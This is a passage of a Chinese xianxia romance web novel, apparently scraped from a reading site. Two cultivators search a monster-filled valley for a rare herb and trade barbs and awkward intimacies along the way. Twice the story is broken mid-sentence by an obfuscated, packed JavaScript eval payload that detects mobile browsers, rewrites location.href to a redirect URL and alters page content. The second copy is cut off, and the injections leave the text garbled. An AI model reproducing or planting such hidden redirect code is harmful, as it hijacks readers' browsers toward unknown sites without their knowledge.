为防里面有诈,她会受伤,沈南音立刻跟了上去。 越过石门的时候,他眼前一花,银铃声响起,沈南音神思断了片刻,人被重重压在石门上,再接上时,望见程雪意鲜活却冰冷的双目。 “拜我可没用,跪下来求我的话,倒是可以考虑考虑。” 沈南音愣住,头疼欲裂。 他使劲闭了闭眼,再睁开时,看见程雪意并不在身前,反而在很远处回眸等着他。 “大师兄?”她奇怪地问,“你怎么了?快跟上来啊?” 沈南音:“……” 幻觉吗。 他审视石门,顺手整理衣衫,慢慢走到程雪意身后,看她满身水汽,这次抬手帮她弄干,她接受了。 她明明是修为低的那个,却自信从容地走在前面,沈南音安静追随,并不越过她。 他静静看着她的背影,鼻息间满是她身上独特的雪意。 不是幻觉。 他双指并拢,将她腰间铃铛冻住。 他是水灵根,水的一切形态都可以供他使用,冻结亦是。 程雪意发现他的举动,脚步顿了顿,沈南音则脚步不停,自然而然地走到了她前面。 “音生于昆山沈氏,师承静慈法宗,师尊与家门有训,大丈夫生于天地之间,除天地父母外,不屈膝向任何人。” 沈南音稳定平静道:“恕我不能跪下来求师妹,望师妹海涵。” 程雪意:“……” “师妹的脾气一如从前,不见分毫更改,但至少懂得掩饰,有在进步。不过行铃音幻术并非正道之举,也不是次次可以成功,往后还是不要再用了。” ……行,沈南音。 你很行。 你最好一直这么行。 18.018 程雪意开始单方面和沈南音冷战了。 要不是有任务在身,还得让这个人给她找修月草,她肯定狠狠揍他一顿,扭头就走。 在噬心谷虽然过得苦,但心里可没这么憋屈过,有气当场就出了,大多时候甚至都不需要她出手,浮光就能把惹她生气的不长眼魔族给打得落花流水。 真可恶。 沈南音长了那么好看一张脸,完完全全在她的审美上,却不肯好好使用,非要与她作对。 “铃音幻术并非正道之举”这话反反复复在她脑海中重放,他最好别再提这个,否则她真不保证还能控制得住自己。 石门那一道幻术他辨别出来了,不代表之后的也可以。 她不会次次失败。 心里刚这样想,沈南音便问起:“不知程师妹从何处学来的铃音幻术?” 他们说话间也没闲着,程雪意是个外门弟子,领了任务出来的,不算繁忙,但沈南音可不一样。 身为静慈法宗的首徒,乾天宗未来的宗主,他称得上日理万机,乾天宗大大小小事务还等着他回去处理,自然得抓紧时间拿到修月草。 这样的身份,肯定知道白泽图在哪里。 程雪意重新望向沈南音,她单方面的冷战主要体现在不理人,不看人,也不和他走在一起,两人分头行动,左右开弓,倒也行动迅速。 只是想到白泽图,就不得不望向这个人,看着他的眼神也莫名热切起来。 那是对乾天宗至宝的志在必得。 沈南音不知她心里在想什么,身为被如此盯着的人,自然以为那目光是对他的。 他顿了顿,转头睨过来,程雪意适时地偏开视线,不和他对视。 “……” 不对视也不说话,看起来还是在生气。 沈南音也缄默下来。 他不觉自己有说错什么,或做错什么选择。 也不觉得程雪意不高兴有什么不合理。 他能理解她这些反应。 她发泄出来他更能招架一些。 偏偏她冷冷淡淡,一言不发,叫他反而无所适从。 沈南音很少无所适从。 玉不染曾说最讨厌他万事都一副很有把握的样子,他确实做什么都很有把握。 拒绝程雪意的时候也是。 只是看着她此刻的排斥与冷脸,心中有些说不清道不明的杂乱。 两人一起穿过一条潮湿的通道,瀑布后面别有洞天,洞顶斑斓的色彩散发着明明灭灭的光。 绚烂的光映照着程雪意的脸,让她看起来色彩缤纷,鲜活灵动。 沈南音衣不染尘,水火不侵。 程雪意普通的外门弟子袍则很快被洞顶不断滴落的水侵湿了。 他抬手要帮她弄干,程雪意直接道:“不必了,大师兄还是离我远些好,免得我一个把持不住,脾气上来,又做出些‘非正道之举’。” 沈南音:“……” 通道里出现许多藤蔓,潮湿的水迹渐渐消失,光线也变得昏暗起来。 想到程雪意修为低,怕她看不清路,沈南音取了一团火灵来照明。 方才还算宽敞的通道变得狭窄起来,两人从隔着几个人的距离,缓缓转为肩并肩。 即便如此还是有些难以通行,程雪意直接往前一步,和他前后而行。 记路的人是她,她走在前面,沈南音在后面收尾以防不测,如此也可以。 火灵照着前路,程雪意身上满是暖色的光。 火光摇晃,沈南音一会看见她抿紧的唇边,一会又看到她明媚的双眼被照亮。 他并非喜欢内耗之人。 便如程雪意所言,若不想做了了断再有什么意外,以她的性格和他以往的处理方式,就该什么都不理会。 她要生气还是伤心都是个过程,过去就会好的,总要经历这些。 可他听到自己又开口打破沉默,用一种近乎解释的语气道:“整天乾天宗内外上下,我只知道一个人除剑道外还修炼过铃音幻术,且是个中高手。” 程雪意脚步一顿,脚下藤蔓盘根错节,十分粗壮,她鞋底湿滑,险些摔倒,人朝一侧歪去,沈南音伸手想扶,被她躲开。 他看了看自己悬在半空中的手,慢慢收了回来,继续方才的话:“是神愿师叔。师尊的师妹,我的师叔。” 神愿。 听到这个名字,程雪意是真的半步都走不动了。 她手扶在墙壁的藤蔓上,满手的黏腻,让她想起人的血。 人血和魔血不一样,虽然都是红色,但人血是热的,时间长了会黏黏糊糊,逐渐凝固。 魔血是冷的,不管时间多久,它都像水一样流淌,永远不会凝固。 恰好这两种程雪意都亲身体会过。 很小的时候,她被父亲的血溅了一身,血染红她的头发、唇齿和衣裳,她呆呆地坐在血泊里面,没人顾得上她,因为都在关注父亲。 父亲死了。 她以为永远不会离开的人,就那么离开了,潦草而惨烈。 后来是母亲。 母亲死的时候,倒是有人顾着她的情况了,浮光一直陪在她身边,可她将人赶走,非要一个人抱着母亲一点点冰冷的身体,任由她的血在她身上凝固。 程雪意慢慢转过头来,借着火灵的光静静注视沈南音。 “你想说什么?” 沈南音何其敏锐,自然知道她情绪不太对。 他好像不该提起这些。 他沉默下来,程雪意反而开始说话:“你只知道她一个人修炼铃音幻术,所以觉得我的铃音幻术与她有关?” 她嘴角缓缓拉开,露出甜蜜却有些血腥的笑意,在蜜色的光晕下一点点靠近沈南音。 “真聪明啊大师兄,不愧是你,一下子就猜到了。” 程雪意极其坦然道:“我就是因缘际会得了她的修炼法门,学了陆神愿的铃音幻术。她既是你的师叔,便是乾天宗正正经经的道君前辈,我学她的法门,怎么能说不是正道之举呢?” 沈南音微微皱眉,不确定哪句话令程雪意这样激动,但他知道不能再让她这样下去。 “时辰不早了,先找仙草。” 他放弃了这个话题,要带程雪意离开这个越来越黑的通道。 他察觉这些藤蔓有生命,似乎正在移动,将他们走的路越收越窄。 但程雪意反而不急着走了。 “话没说完,急什么。”她抓住沈南音的衣袖,轻飘飘地说,“你觉得铃音幻术非正道之举,是因为陆神愿不得好死,对吗?” “程师妹。” 沈南音语气比之前拒绝她的时候更重了,这三个字念出来,让程雪意灼热的血一下子冷下来。 她出了一身的汗,眼前的血色幻影消失,她从糟糕的回忆里走出来,看见沈南音罕见不悦的神色。 他不高兴。 尽管眉眼依然温润清正平和,但他就是不高兴了,她看得出来。 “师妹不该如此议论前辈。神愿师叔为诛魔而死,噬心谷建成离不开她的牺牲,现今的天下太平有她泰半功劳,师妹对我何种态度,我皆可容忍,对师叔不该如此。” “我怎会因为陆师叔才觉得你的幻术非正道?我提起师叔只是想告诉你,非要修铃音幻术,可以借鉴她的心得法门,莫要寻旁门左道。既你修炼的本就是师叔的法门,便当我在说废话好了。” 他责备了她,以为她会更生气,甚至可能直接发飙走人,已经做好阻拦她的准备,必不让她在这样危机四伏的地方胡乱行动。 但是没有。 什么都没发生。 程雪意的反应与他所想的完全相反。 她阖了阖眼,看起来相当平静,甚至情绪有所回转。 程雪意动了动嘴唇,想说什么,最后又放弃了。 她无谓地笑了笑,淡淡道:“是啊,人人都说她为诛魔而死,的确值得敬佩和尊崇。” “去找修月草吧。” 她终止了这个话题,将手伸到沈南音面前给她看。 “藤蔓在流血。” 沈南音对此事毫不意外。 她接受他的建议,他的不悦立刻消失。 程雪意虽然依然冷淡,但至少可以正常与他交流了。 他们差点就吵得不可开交,忽然又平静下来,因为什么,还要程雪意自己才清楚。 沈南音并不执着于缘由,他既拒绝她,便只看结果,眼下结果是大家都可以接受的便好。 “离远些,站在我身后。” 他将程雪意让到身后,先为她将手上的血迹清理干净,随后将火灵扩大,光线更明亮一些后,看不到尽头的血藤便映入眼帘。 黑漆漆的虽然也能分辨出来,却绝对没有亮着时这种冲击力。 程雪意瞳孔收缩了一下,本能地想要行动,将血藤解决。 她靠自己习惯了,脚都往前迈了一步,忽然眼前白光一闪,刺得她迅速闭眼,眼眶酸涩,眼泪都流了出来。 好不容易缓过来,睁开眼后,发现血藤已经全都消失了。 沈南音收剑回鞘,平静说道:“好了。” “……” 血藤是高阶成妖的灵植,藤蔓上血色越重,说明吸收的血液越多。 她扶着藤蔓行走时满手黏腻,想起血的触感,也确实是摸到了血。 那么多的血,可见这血藤造了不少孽。 蒙面女子给的锦缎上在此处画了大大的红圈,估计也吃了血藤不少苦头。 但沈南音在这里,她眨眨眼的功夫,就解决了一切。 程雪意低头望着他清理出来的平整路面,跟着他走了几步,看到他纤尘不染 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13989739|147017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的衣角停下,连那双银色的长靴都没有染上一点灰尘和血迹。 她提起裙摆扫了一眼自己的靴子,黑靴上全是血迹和污泥,配上她一身的潮气,活像个叫花子。 程雪意皱了皱眉,想着忍忍算了,在噬心谷时比这还狼狈的情况多了去了,她没什么意难平。 尽快拿到修月草才是正题。 不过沈南音好像以为她很介意。 一身洁净身不染尘的大师兄忽然蹲了下来,将她从脚到头一点点收拾干净。 白皙如玉的手指落在她脏污的靴子上,她都情不自禁地想要后退,他却完全不介意地抓住她的小腿,轻轻道了一声:“别动。” 她就这么看着那双执剑捏诀,金漆玉笔的手,被污泥和血迹污染,又随着他的清尘诀,连她的衣衫和靴子一起清理得整洁干净。 那么高的人,若不蹲下,她是看不到他的发顶的。 程雪意屏住呼吸,尽量将目光锁在他的发冠上,如此好像便可稳定心神。 但蹲着的人很快站起来,手落在她肩上,带起一阵温暖和干燥,那些令人胸闷的湿冷都消散不见了。 最后是头发。 沈南音侧脸优越,骨相舒展美丽,他的手也极美,骨节分明,像玉雕的竹子一样,清透温润,触手生温。 他有礼有节,点到即止地抚过她的发丝,一瞬即分,她的发丝也都干燥清爽起来。 “好了。继续往前走,跟在我身后。” 程雪意觉得身体有些僵硬,不自然地动了动,生硬得活像个僵尸。 所有感染了他温暖的地方,都像是被毒素入侵了一样,有些难以动弹。 她脚步凌乱地跟上去,周围景色变换,像进入了某种险峻的山崖。 血藤没了,但有无边的瘴气,能走的路只一条,窄得仅能一个人通过。 程雪意看不到瘴气之下有多高,她走在沈南音后面,目光上移落在他那双好像有魔力的手上。 她看到他轻轻捻着指腹。 他可能自己都没意识到这个行为,但他确实食指与拇指摩挲,不自觉地轻捻。 是碰过她的那只手。 程雪意又往上看,看见他纱衣锦袍之下的宽肩。 纱衣微透,宽肩下的玉带勒出的细腰依稀可见。 真是好温柔。 虽然这样说有些奇怪,可看他的身姿和行动,程雪意觉得这个人异常温柔。 他忽然转过身来,递给她什么东西,程雪意本能接了,眼神有些飘忽,一副偷看别人被发现的不自在模样。 沈南音微微一滞,随后神色如常地为她解释那物的用处。 “此处瘴气不寻常,不知那锦缎上是否有提及?你将这颗丹药含在舌尖下方,莫要吞下去,不要说话,可保瘴气不入体。” 程雪意道:“锦缎上没说,画的也和这里不一样,鬼市的姐姐走的不是这条路。” “大师兄杀了血藤妖,那位姐姐是从血藤手里逃脱,你们选择不同,约莫触动了不同的阵法变换,我们和她走的路不一样了。” 路不一样了,她记下来的地图也没参考价值了。 沈南音微微点头,认可她的大部分说法,但纠正一处:“我没杀血藤妖。” 程雪意一愣。 沈南音抬起手,挽了衣袖给她看手腕,腕上一条血色藤蔓缠绕着,仿佛独特的首饰。 “……?”程雪意露出一丝丝茫然来。 “我收服了它,带回去关镇妖塔。”沈南音不放过任何一个改造她的机会,“程师妹,解决事情的方法有很多,下杀手是最下等的选择。” 程雪意的表情扭曲。 多仁善的一个人啊。 他每次去噬心谷降灵怎么没见手软呢? 这仁善可以给他的“师妹”,甚至给作恶过的妖孽,但不会给魔族对吗? 程雪意深吸一口气,瞪着他道:“沈南音,你闭嘴吧,有没有人告诉过你,你真的话很多?问你了吗你就说那么多?” 沈南音错愕地望着她,微微启唇,发不出半点声音。 “这丹药需得含在舌下,不能说话是吧?那你最好也含一颗,省得再来念经。” 程雪意捏着丹药张开嘴,舌尖轻抬,用手指了指舌下的位置,用眼神问他:是放这里没错吧? 沈南音怔愣地视线转到她舌尖上,红而润的私密之处暴露在他面前,毫无遮挡,他只看了一眼便迅速别开头。 “是。” 他只能说出一个字。 没听到程雪意回答,怕她脱离视线会出什么意外,又很快去看她。 然后便看到她不紧不慢,盯着他一点点将丹药塞进舌下。 含一颗丹而已。 却因她的眼神和姿态,变得像是将他的心含在舌下舔舐融化。 丝丝缕缕,细密缠绕。 19.019(入V通知) 沈南音在程雪意得意的笑声中回过神来,面色如常地走在前面。 既然锦缎上的地图没参考价值了,程雪意还是走在他后面更安全。 他的脚步不会很快,也不会很慢,掐在一个刚好程雪意可以跟上,又不会浪费时间的速度上,仿佛经过精确计算一般。 程雪意跟在他身后,走起来不会有丝毫费力,时不时还能闻到他身上淡淡的菡萏香。 在洞窟那一夜觉得这香气浓郁起来十分银靡,现在行至瘴气崖边,又觉得这香气正经得不得了,让人神清气爽,也让人充满安全感。 很奇妙,她居然因为一个必将被自己戏耍和抛弃的人而产生安全感。 程雪意忽然抓住沈南音的衣袖,沈南音脚步一顿,回眸望来,她不能说话,便朝前摇头,沈南音瞥了一眼身前,那里瘴气弥漫,没有路了。 “目之所视,不一定就是真的。” 沈南音手腕轻抬,白袖里隐约可见色彩艳丽的血藤,白与红交织,清朗如月的一个人气质无端的旖旎起来。 他很适合红色,程雪意这样想着,瞧见他朝前迈步,踩在没有重量的瘴气之中。 步伐稳定,踏踏实实,并未坠落。 他自己走过去的时候果断利落,但回身接她的时候小心谨慎。 程雪意将手递给他,被他温暖的掌心包裹,跟着他一步步走在看不见路的瘴气之中。 忽然,她挠了挠他的手心,沈南音一怔,立刻去看她的脸,程雪意朝他的唇抬抬下巴,因为不能说话只能哼哼唧唧示意。 沈南音很懂她的心意。 “我已修至冰心剑意第九重,这种程度的瘴气妨碍不了我的什么。” …… 也就是程雪意压制了灵脉,只留了一点点力量在身上,否则肯定比他厉害! 沈南音语气寻常,恳切温和,绝无炫耀之心,可程雪意就是浑身不得劲,怎么看他都不顺眼。 好想打一架,看看两人到底谁能赢。 手痒得不行,又不能真的动手,便不由自主地扣他掌心。 行在瘴气中,周围随时可能有危险发生,沈南音不能松开她的手,只能任她扣来扣去。 扣得掌心发痒发疼,也不能放任自己因此分神,仍然专注于四周情况。 程雪意很快压下心头躁动,也专心看着前路。 刚看一眼,猛地有什么东西掉下来,直接砸在两人前面,巨大的响声和周围瞬间的格局令程雪意瞳孔收缩。 她定睛望着那东西,不确定该如何形容,它像个巨大的蚕蛹,颜色土黄,隐约见什么在上面蠕动,看仔细些,发现是虫子。 缠绕包裹在那东西上面的不是蚕丝也不是茧,是密密麻麻的线虫。 程雪意好几天没正经吃东西了,肚子里早就空了,她忍耐力很强,并不会觉得多饿,也没怎么被眼前这一幕恶心到。 在噬心谷,更恶心的画面都有,低等魔族自相残杀,吞噬彼此血肉的画面,可比这个刺激多了,这才哪到哪。 她甚至都没错开视线,好整以暇地盯着那东西想判断它到底是什么,沈南音却已经迅速挡住了她的视线。 她不能说话,很快眼睛也不能视物,温暖的手挡在眼前,捂得严严实实,除了腥臭的味道,她对外界一无所知。 就连腥臭的气味,也很快被沈南音身上的菡萏香掩盖。 程雪意被人抱了起来,那人心跳透过衣物传递过来,稳定平和,不曾因战斗加速一分。 她身上的冷意因为他的怀抱逐渐消散,她跟着他上下左右的闪躲,实在有些颠簸,为了不被摔下去,伸手环住了他的脖颈。 雪意把脸埋在沈南音颈间,如此他就能腾出一只手来对付那些线虫。 他的颈窝比身上更温暖,贴着柔软的耳垂,程雪意呵出微凉的气息来。 这个姿势太亲密,但现在好像没有更好的选择。 为保证她的安全,不吓到她,似乎只能选择这种方式。 沈南音没有为难多久,便一手抱着她,一手持剑将线虫全部灭除,踩着线虫密集堆积的尸体越过瘴气最浓郁的地方。 他每走一步都有咯叽咯叽的声音发出来,是脚下线虫尸体实在太多了。 程雪意透过他肩颈的缝隙偷偷望向地面,看到密密麻麻的线虫尸体在蠕动,搂着他脖子的力道不自觉加大。 沈南音立刻换做双手抱她,低声道:“别看。” ……以为她害怕了吗? 程雪意顺势将他搂得更紧,身躯在他怀中微微颤抖。 沈南音真的以为她怕到发抖,行至暂时安全的地方,犹豫许久,在将她放下和另一个选择里选择了后者。 他是修士,握剑的手并没留下什么茧子,指腹光洁柔软,温度适宜,落在她背上轻轻拍了一下。仅仅一下,立刻停止,且执行第一个选择,将她放了下来。 “暂时没事了。” 他这样说了一句。 程雪意低着头从他身上下来,目光一点点从他腰线往上,最后转为四目相对。 沈南音愣了愣,抬脚往前走,程雪意伸出手将脸上的笑容抹去了。 笑得太开心了,刺激到他了。 这要不懂她刚才并未害怕才怪。 程雪意迅速跟上沈南音,他也没走远,就停在不远处的悬崖边。 瘴气消散,这次是真的万丈深渊近在眼前。 程雪意张口,哼哼唧唧地询问沈南音可不可以说话,沈南音没看她,只点了一下头。 雪意立刻将丹药吐到山崖下面,深呼吸一口,抱怨道:“可憋死我了,我想告诉大师兄我不怕都不行,因为不能说话,只能任由大师兄误会了。” 言语里似乎十分无奈,可脸上那笑意真是灿烂到难以形容。 沈南音其实并未看她。 严格来说是没正眼看她。 他用余光将她的一切都收入眼中,却不肯正眼直视她一息。 程雪意笑够了,走到他身边一起看着崖下,慢吞吞道:“现在大师兄知道我不怕了,之后不用再那么顾着我,咱们速度快些,我早点拿到修月草,大师兄也好早点回宗。” 沈南音没说话,但当崖底数不清的飞鸟涌出来时,他还是将程雪意护在身后,对她说:“闭眼别看。” 程雪意静静站在那里,乐得轻松不伸手帮忙。 沈南音像世间最高的山,这些长相丑陋恶心的怪鸟绝无可能越过这座高山。 她安全无虞,这一行与她想象中实在不同,惊险全在沈南音,她被保护得极好,近乎脚不沾地,还有闲心与他对话。 “大师兄忘了吗?不是刚才告诉过你,我不怕这些,不必担心我看到。” 沈南音不曾回头道:“你嘴上的确不怕。” 话只说一半,剩下的程雪意自动在脑海中补全了。 嘴上不怕,心里就真的不怕,不觉得恶心吗? 第一次见到这类东西的时候,真的不害怕吗? 很怕。 很小的时候就见过了,当时抱着父亲哭得昏天黑地,做了好久的噩梦,睡觉的时候绝不能没有亮光。 但那又如何呢。 人总要长大,总要靠自己,没有谁能陪伴谁一生,再险恶可怕的东西,生在噬心谷她都要习惯。 说到底她会经受这些,还不都这些修士们干的。 程雪意不再围观,趁沈南音解决这些恶鸟,她人往前走,蹲在悬崖边打量下方。 锦缎上提到修月草就长在有灵兽看守的峭壁,鬼市女子是无意间坠落深渊时发现的,既然已经惊扰守护灵兽,不如就将宝物带走,能不能活全看后面一搏。 她搏赢了,可失了宝物的灵兽抓不到上一个窃取者,只会对下一个来到这里的人拼尽全力。 锦缎上所画看守灵兽飞在空中,不知是不是这些怪鸟。 程雪意手里挽上一条白缎,绑在崖边一块巨石上,就这么跳了下去。 “大师兄帮我拦住它们,我下去看看!” 沈南音根本来不及阻止她,只能错愕地望着她跳下去。 作为宗门大师兄,哪怕宗内事务繁忙也得带队出去做任务。 总有些事情是下面的人解决不了,必须由他带人解决的。 每次这种时候他都一个人走在前面,将棘手的部分解决掉,留下好处理的部分给后辈们。 师弟师妹们也总是信赖地站在他身后,全听他的安排。 从无一人像程雪意这样,让干什么不干什么,修为不高,胆子却极大。 沈南音不得不加快速度对抗这些恶鸟。 只有将它们都解决了才能去寻程雪意。 可恶鸟实在太多,每一只都是高阶妖兽,沈南音走这一路已经解决很多危机,体内灵力有损耗,再配上恶鸟的鸟海战术,不可避免地挂了彩。 不过皮肉伤而已,他根本不放在心上,留下庇护剑罩将崖下护住后,沈南音追着程雪意的白缎往下,那恶鸟见拦不住他,聪明地转向了程雪意的白缎,三两下将白缎撕碎。 白缎碎了,意味着程雪意可能会摔下去,沈南音不敢耽搁,用最快的速度追向白缎最前。 “这里!” 走到一半被人声喊住,沈南音回眸一望,见悬崖半山腰一处洞府,洞府外灵植丛生,不少名贵品类,未见有人采摘痕迹。 那鬼市女来的不是这里。 若她来过,这些灵植不可能还好端端长着没有被破坏。 程雪意也认识灵植品类,毫不含糊地摘了一大堆塞进乾坤袋。 轮到洞府匾额上那些时,她摘着摘着,看见了匾额上具体的字。 洞府年久失修,时代遥远,匾额上的刻字被岁月腐蚀,有些模糊不清,她只能模糊辨认出来。 “寻君阁。” 程雪意回过头来问:“大师兄,你听说过寻君阁吗?是个什么地方?” 沈南音仰头望着她,面无表情,一言不发。 程雪意动作一停,从洞顶跳下来,收起灵植,左右探头看他。 他表情都不变化,冷着脸,明摆着不高兴。 又生气了??? 她可真有本事。 把人人称赞好脾气的真武明华道君气两回了! 气就气吧,程雪意也懒得管他莫名其妙又不高兴,不说话她也不想知道了,转身要往寻君阁里走,被沈南音按住肩膀。 “程师妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他无言地望着她,目光复杂,良久之后,冷冽的神色重新变得温和起来。 “我未曾听过寻君阁,此地偏远,应该早过云梦峡,靠近王母山了。” 王母山。 这个称呼让程雪意一晃神。 “王母神因陆师叔而得名,是她献祭噬心谷之前的闭关之所。” 沈南音只是捎带一提,说完便推开石门走进去。 程雪意回过神来,踩着他的脚印进去。 这里说是阁,里面地方其实很小,进了门一眼就能望到底。 石门外灵植丛生,里面却十分干净,灰尘都没什么。 这里面摆着一张蒲团,挂了一副空白的字画,除此之外再无其他。 程雪意走到字画前,没在画上看到人,但右下角有一行小字。 【行也思君,坐也思君,特来寻君。】 原来寻君阁是这个寻君。 程雪意抬手抚过那行小字,字写得很潦草,并不好看,一瞧写字的人就没什么底蕴,顶多算是识字。那么画卷上无人也能理解了,字都写不好的,又怎么可能会画画。 可就是如此潦草的字迹,看得程雪意眼眶潮湿,泪珠汹涌聚集。 眼泪落下来之前,耳边传来沈南音的声音。 “别哭。” 他说:“这里不是你在锦缎上看到的地方,没有修月草也不必失望,出去再找。” 他以为她是为修月草哭。 ……这好像也没错。 找不到修月草,白来这一遭,回去还不知怎么解决灵脉的事,是该哭一哭。 程雪意朝上方闭了闭眼,淡淡道:“大师兄误会了,是这里面乌烟瘴气,我被熏到眼睛而已,我没哭。” 沈南音看她眼眶红红地将墙上的画卷摘下来,卷起来往乾坤袋里塞,塞了几次都没塞进去。 她那宗门配发的小乾坤袋装满了。 “……” 程雪意有些生气,憋着气把乾坤袋里的东西大大小小往外拿。 沈南音目不暇接地看着,东西很多,但体积都不大,不少他都没见过叫不出名字的,不待他问是什么,程雪意又开始往装,装到最后总是剩下点。 沈南音看见了桃花醉。 哪怕隔着瓶子,他也能感受到那股淡淡的香气,那伴随他受尽一夜折磨的香气。 “你没还回去?”他立刻抓住瓶子。 程雪意散漫道:“我忘了,大师兄喜欢?那你拿走吧,反正我这里也装不下了。” 看起来他也不可能在一个地方栽两次跟头,这玩意儿废了,就别留着占地方了。 沈南音深吸一口气,将桃花醉放进自己的芥子里,眼见程雪意毫不犹豫地往外走,他忍耐着跟了几步,还是没忍住道:“程师妹,你到底有没有把我说的话放在心上过?” 一字千金,字字被人奉为圭臬的真武明华道君发出来自灵魂的疑问。 程雪意红着眼圈看回去,也是匪夷所思:“从来没有啊,大师兄你居然不知道吗??”